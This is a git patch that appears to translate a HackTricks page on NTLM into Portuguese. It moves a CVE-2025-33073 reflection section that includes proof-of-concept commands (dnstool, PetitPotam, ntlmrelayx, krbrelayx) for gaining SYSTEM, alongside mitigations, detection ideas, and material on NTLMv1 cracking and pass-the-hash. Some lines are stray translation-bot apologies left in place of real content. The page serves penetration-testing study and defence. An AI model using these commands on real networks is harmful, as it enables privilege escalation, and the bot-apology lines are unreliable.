From eece01da60533437153ec96911b9c1c9f00f1fab Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 17 Jul 2025 09:37:36 +0000 Subject: [PATCH] Translated ['src/windows-hardening/ntlm/README.md'] to pt --- src/windows-hardening/ntlm/README.md | 81 +++++++--------------------- 1 file changed, 18 insertions(+), 63 deletions(-) diff --git a/src/windows-hardening/ntlm/README.md b/src/windows-hardening/ntlm/README.md index 6b99061a4..297c49c7c 100644 --- a/src/windows-hardening/ntlm/README.md +++ b/src/windows-hardening/ntlm/README.md @@ -2,70 +2,25 @@ {{#include ../../banners/hacktricks-training.md}} -## NTLM & Kerberos *Reflection* via Serialized SPNs (CVE-2025-33073) -O Windows contém várias mitigations que tentam prevenir ataques de *reflection* onde uma autenticação NTLM (ou Kerberos) que se origina de um host é retransmitida de volta para o **mesmo** host para obter privilégios de SYSTEM. - -A Microsoft quebrou a maioria das cadeias públicas com MS08-068 (SMB→SMB), MS09-013 (HTTP→SMB), MS15-076 (DCOM→DCOM) e patches posteriores, no entanto **CVE-2025-33073** mostra que as proteções ainda podem ser contornadas abusando de como o **cliente SMB trunca Nomes de Principal de Serviço (SPNs)** que contêm informações de destino *marshalled* (serializadas). - -### TL;DR do bug -1. Um atacante registra um **DNS A-record** cujo rótulo codifica um SPN marshalled – por exemplo, -`srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA → 10.10.10.50` -2. A vítima é coagida a autenticar-se nesse nome de host (PetitPotam, DFSCoerce, etc.). -3. Quando o cliente SMB passa a string de destino `cifs/srv11UWhRCAAAAA…` para `lsasrv!LsapCheckMarshalledTargetInfo`, a chamada para `CredUnmarshalTargetInfo` **remove** o blob serializado, deixando **`cifs/srv1`**. -4. `msv1_0!SspIsTargetLocalhost` (ou o equivalente do Kerberos) agora considera o alvo como *localhost* porque a parte curta do host corresponde ao nome do computador (`SRV1`). -5. Consequentemente, o servidor define `NTLMSSP_NEGOTIATE_LOCAL_CALL` e injeta **o token de acesso do SYSTEM do LSASS** no contexto (para Kerberos, uma chave de subsessão marcada como SYSTEM é criada). -6. Retransmitir essa autenticação com `ntlmrelayx.py` **ou** `krbrelayx.py` concede direitos completos de SYSTEM no mesmo host. - -### Quick PoC -```bash -# Add malicious DNS record -dnstool.py -u 'DOMAIN\\user' -p 'pass' 10.10.10.1 \ --a add -r srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA \ --d 10.10.10.50 - -# Trigger authentication -PetitPotam.py -u user -p pass -d DOMAIN \ -srv11UWhRCAAAAAAAAAAAAAAAAA… TARGET.DOMAIN.LOCAL - -# Relay listener (NTLM) -ntlmrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support - -# Relay listener (Kerberos) – remove NTLM mechType first -krbrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support -``` -### Patch & Mitigations -* O patch KB para **CVE-2025-33073** adiciona uma verificação em `mrxsmb.sys::SmbCeCreateSrvCall` que bloqueia qualquer conexão SMB cujo alvo contenha informações marshalladas (`CredUnmarshalTargetInfo` ≠ `STATUS_INVALID_PARAMETER`). -* Imponha **assinatura SMB** para prevenir reflexão mesmo em hosts não corrigidos. -* Monitore registros DNS que se assemelham a `*...*` e bloqueie vetores de coerção (PetitPotam, DFSCoerce, AuthIP...). - -### Detection ideas -* Capturas de rede com `NTLMSSP_NEGOTIATE_LOCAL_CALL` onde o IP do cliente ≠ IP do servidor. -* Kerberos AP-REQ contendo uma chave de subsessão e um principal de cliente igual ao nome do host. -* Logons do sistema Windows Event 4624/4648 imediatamente seguidos por gravações SMB remotas do mesmo host. - -## References -* [Synacktiv – NTLM Reflection is Dead, Long Live NTLM Reflection!](https://www.synacktiv.com/en/publications/la-reflexion-ntlm-est-morte-vive-la-reflexion-ntlm-analyse-approfondie-de-la-cve-2025.html) -* [MSRC – CVE-2025-33073](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-33073) - -## Basic Information +## Informações Básicas Em ambientes onde **Windows XP e Server 2003** estão em operação, hashes LM (Lan Manager) são utilizados, embora seja amplamente reconhecido que estes podem ser facilmente comprometidos. Um hash LM específico, `AAD3B435B51404EEAAD3B435B51404EE`, indica um cenário onde o LM não é empregado, representando o hash para uma string vazia. -Por padrão, o protocolo de autenticação **Kerberos** é o método principal utilizado. NTLM (NT LAN Manager) entra em cena sob circunstâncias específicas: ausência de Active Directory, não existência do domínio, mau funcionamento do Kerberos devido a configuração inadequada, ou quando conexões são tentadas usando um endereço IP em vez de um nome de host válido. +Por padrão, o protocolo de autenticação **Kerberos** é o método principal utilizado. O NTLM (NT LAN Manager) entra em cena sob circunstâncias específicas: ausência de Active Directory, não existência do domínio, mau funcionamento do Kerberos devido a configuração inadequada, ou quando conexões são tentadas usando um endereço IP em vez de um nome de host válido. A presença do cabeçalho **"NTLMSSP"** em pacotes de rede sinaliza um processo de autenticação NTLM. O suporte para os protocolos de autenticação - LM, NTLMv1 e NTLMv2 - é facilitado por uma DLL específica localizada em `%windir%\Windows\System32\msv1\_0.dll`. -**Key Points**: +**Pontos Chave**: - Hashes LM são vulneráveis e um hash LM vazio (`AAD3B435B51404EEAAD3B435B51404EE`) significa sua não utilização. - Kerberos é o método de autenticação padrão, com NTLM utilizado apenas sob certas condições. - Pacotes de autenticação NTLM são identificáveis pelo cabeçalho "NTLMSSP". - Protocolos LM, NTLMv1 e NTLMv2 são suportados pelo arquivo de sistema `msv1\_0.dll`. -## LM, NTLMv1 and NTLMv2 +## LM, NTLMv1 e NTLMv2 Você pode verificar e configurar qual protocolo será utilizado: @@ -75,7 +30,7 @@ Execute _secpol.msc_ -> Políticas locais -> Opções de segurança -> Seguranç ![](<../../images/image (919).png>) -### Registry +### Registro Isso definirá o nível 5: ``` @@ -121,13 +76,13 @@ O **hash NT (16bytes)** é dividido em **3 partes de 7bytes cada** (7B + 7B + (2 ### Ataque NTLMv1 -Atualmente, está se tornando menos comum encontrar ambientes com Delegação Não Restrita configurada, mas isso não significa que você não pode **abusar de um serviço de Print Spooler** configurado. +Atualmente, está se tornando menos comum encontrar ambientes com Delegação Não Restrita configurada, mas isso não significa que você não possa **abusar de um serviço de Print Spooler** configurado. -Você poderia abusar de algumas credenciais/sessões que já possui no AD para **pedir à impressora que se autentique** contra algum **host sob seu controle**. Então, usando `metasploit auxiliary/server/capture/smb` ou `responder`, você pode **definir o desafio de autenticação para 1122334455667788**, capturar a tentativa de autenticação e, se foi feito usando **NTLMv1**, você poderá **quebrá-lo**.\ +Você poderia abusar de algumas credenciais/sessões que já possui no AD para **pedir à impressora que se autentique** contra algum **host sob seu controle**. Então, usando `metasploit auxiliary/server/capture/smb` ou `responder`, você pode **definir o desafio de autenticação como 1122334455667788**, capturar a tentativa de autenticação e, se foi feita usando **NTLMv1**, você poderá **quebrá-la**.\ Se você estiver usando `responder`, pode tentar **usar a flag `--lm`** para tentar **rebaixar** a **autenticação**.\ _Observe que para esta técnica a autenticação deve ser realizada usando NTLMv1 (NTLMv2 não é válido)._ -Lembre-se de que a impressora usará a conta do computador durante a autenticação, e as contas de computador usam **senhas longas e aleatórias** que você **provavelmente não conseguirá quebrar** usando dicionários comuns. Mas a autenticação **NTLMv1** **usa DES** ([mais informações aqui](#ntlmv1-challenge)), então usando alguns serviços especialmente dedicados a quebrar DES, você conseguirá quebrá-lo (você poderia usar [https://crack.sh/](https://crack.sh) ou [https://ntlmv1.com/](https://ntlmv1.com) por exemplo). +Lembre-se de que a impressora usará a conta do computador durante a autenticação, e contas de computador usam **senhas longas e aleatórias** que você **provavelmente não conseguirá quebrar** usando dicionários comuns. Mas a autenticação **NTLMv1** **usa DES** ([mais informações aqui](#ntlmv1-challenge)), então usando alguns serviços especialmente dedicados a quebrar DES, você conseguirá quebrá-la (você poderia usar [https://crack.sh/](https://crack.sh) ou [https://ntlmv1.com/](https://ntlmv1.com) por exemplo). ### Ataque NTLMv1 com hashcat @@ -195,7 +150,7 @@ Desculpe, mas não há texto fornecido para traduzir. Por favor, forneça o cont 586c # this is the last part ``` -I'm sorry, but I need the specific text you want translated in order to assist you. Please provide the content you'd like me to translate. +I'm sorry, but I need the specific text you want me to translate in order to assist you. Please provide the content you'd like translated. ```bash NTHASH=b4b9b02e6f09a9bd760f388b6700586c ``` @@ -207,12 +162,12 @@ O **tamanho do desafio é de 8 bytes** e **2 respostas são enviadas**: Uma tem A **segunda resposta** é criada usando **vários valores** (um novo desafio do cliente, um **timestamp** para evitar **ataques de repetição**...) -Se você tiver um **pcap que capturou um processo de autenticação bem-sucedido**, você pode seguir este guia para obter o domínio, nome de usuário, desafio e resposta e tentar quebrar a senha: [https://research.801labs.org/cracking-an-ntlmv2-hash/](https://www.801labs.org/research-portal/post/cracking-an-ntlmv2-hash/) +Se você tiver um **pcap que capturou um processo de autenticação bem-sucedido**, pode seguir este guia para obter o domínio, nome de usuário, desafio e resposta e tentar quebrar a senha: [https://research.801labs.org/cracking-an-ntlmv2-hash/](https://www.801labs.org/research-portal/post/cracking-an-ntlmv2-hash/) ## Pass-the-Hash -**Uma vez que você tenha o hash da vítima**, você pode usá-lo para **impersonar**.\ -Você precisa usar uma **ferramenta** que irá **realizar** a **autenticação NTLM usando** esse **hash**, **ou** você pode criar um novo **sessionlogon** e **injetar** esse **hash** dentro do **LSASS**, para que quando qualquer **autenticação NTLM for realizada**, esse **hash será usado.** A última opção é o que o mimikatz faz. +**Uma vez que você tenha o hash da vítima**, pode usá-lo para **impersoná-la**.\ +Você precisa usar uma **ferramenta** que **realize** a **autenticação NTLM usando** esse **hash**, **ou** você pode criar um novo **sessionlogon** e **injetar** esse **hash** dentro do **LSASS**, para que quando qualquer **autenticação NTLM for realizada**, esse **hash será usado.** A última opção é o que o mimikatz faz. **Por favor, lembre-se de que você pode realizar ataques Pass-the-Hash também usando contas de computador.** @@ -301,7 +256,7 @@ O PoC pode ser encontrado em **[https://github.com/eladshamir/Internal-Monologue **Leia um guia mais detalhado sobre como realizar esses ataques aqui:** {{#ref}} -../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md +../../generic-methodologies-and-resources/pentesting-network/`spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md` {{#endref}} ## Analisar desafios NTLM de uma captura de rede @@ -312,7 +267,7 @@ O PoC pode ser encontrado em **[https://github.com/eladshamir/Internal-Monologue O Windows contém várias mitig ações que tentam prevenir ataques de *reflexão* onde uma autenticação NTLM (ou Kerberos) que se origina de um host é retransmitida de volta para o **mesmo** host para obter privilégios de SYSTEM. -A Microsoft quebrou a maioria das cadeias públicas com MS08-068 (SMB→SMB), MS09-013 (HTTP→SMB), MS15-076 (DCOM→DCOM) e patches posteriores, no entanto **CVE-2025-33073** mostra que as proteções ainda podem ser contornadas abusando de como o **cliente SMB trunca Nomes Principais de Serviço (SPNs)** que contêm informações de destino *marshalled* (serializadas). +A Microsoft quebrou a maioria das cadeias públicas com MS08-068 (SMB→SMB), MS09-013 (HTTP→SMB), MS15-076 (DCOM→DCOM) e patches posteriores, no entanto **CVE-2025-33073** mostra que as proteções ainda podem ser contornadas abusando de como o **cliente SMB trunca Nomes de Principal de Serviço (SPNs)** que contêm informações de destino *marshalled* (serializadas). ### Resumo do bug 1. Um atacante registra um **registro A DNS** cujo rótulo codifica um SPN marshalled – por exemplo, @@ -320,7 +275,7 @@ A Microsoft quebrou a maioria das cadeias públicas com MS08-068 (SMB→SMB), MS 2. A vítima é coagida a autenticar-se nesse nome de host (PetitPotam, DFSCoerce, etc.). 3. Quando o cliente SMB passa a string de destino `cifs/srv11UWhRCAAAAA…` para `lsasrv!LsapCheckMarshalledTargetInfo`, a chamada para `CredUnmarshalTargetInfo` **remove** o blob serializado, deixando **`cifs/srv1`**. 4. `msv1_0!SspIsTargetLocalhost` (ou o equivalente do Kerberos) agora considera o alvo como *localhost* porque a parte curta do host corresponde ao nome do computador (`SRV1`). -5. Consequentemente, o servidor define `NTLMSSP_NEGOTIATE_LOCAL_CALL` e injeta **o token de acesso do SYSTEM do LSASS** no contexto (para Kerberos, uma chave de subsessão marcada como SYSTEM é criada). +5. Consequentemente, o servidor define `NTLMSSP_NEGOTIATE_LOCAL_CALL` e injeta **o token de acesso do SYSTEM do LSASS** no contexto (para o Kerberos, uma chave de subsessão marcada como SYSTEM é criada). 6. Retransmitir essa autenticação com `ntlmrelayx.py` **ou** `krbrelayx.py` concede direitos completos de SYSTEM no mesmo host. ### PoC Rápido @@ -342,13 +297,13 @@ krbrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support ``` ### Patch & Mitigations * O patch KB para **CVE-2025-33073** adiciona uma verificação em `mrxsmb.sys::SmbCeCreateSrvCall` que bloqueia qualquer conexão SMB cujo alvo contenha informações marshalladas (`CredUnmarshalTargetInfo` ≠ `STATUS_INVALID_PARAMETER`). -* Aplique **assinatura SMB** para prevenir reflexão mesmo em hosts não corrigidos. +* Imponha **SMB signing** para prevenir reflexão mesmo em hosts não corrigidos. * Monitore registros DNS que se assemelham a `*...*` e bloqueie vetores de coerção (PetitPotam, DFSCoerce, AuthIP...). ### Detection ideas -* Capturas de rede com `NTLMSSP_NEGOTIATE_LOCAL_CALL` onde o IP do cliente ≠ o IP do servidor. +* Capturas de rede com `NTLMSSP_NEGOTIATE_LOCAL_CALL` onde o IP do cliente ≠ IP do servidor. * Kerberos AP-REQ contendo uma chave de subsessão e um principal de cliente igual ao nome do host. -* Logons do SISTEMA do Windows Evento 4624/4648 imediatamente seguidos por gravações SMB remotas do mesmo host. +* Logons do SISTEMA do Windows Event 4624/4648 imediatamente seguidos por gravações SMB remotas do mesmo host. ## References * [Synacktiv – NTLM Reflection is Dead, Long Live NTLM Reflection!](https://www.synacktiv.com/en/publications/la-reflexion-ntlm-est-morte-vive-la-reflexion-ntlm-analyse-approfondie-de-la-cve-2025.html)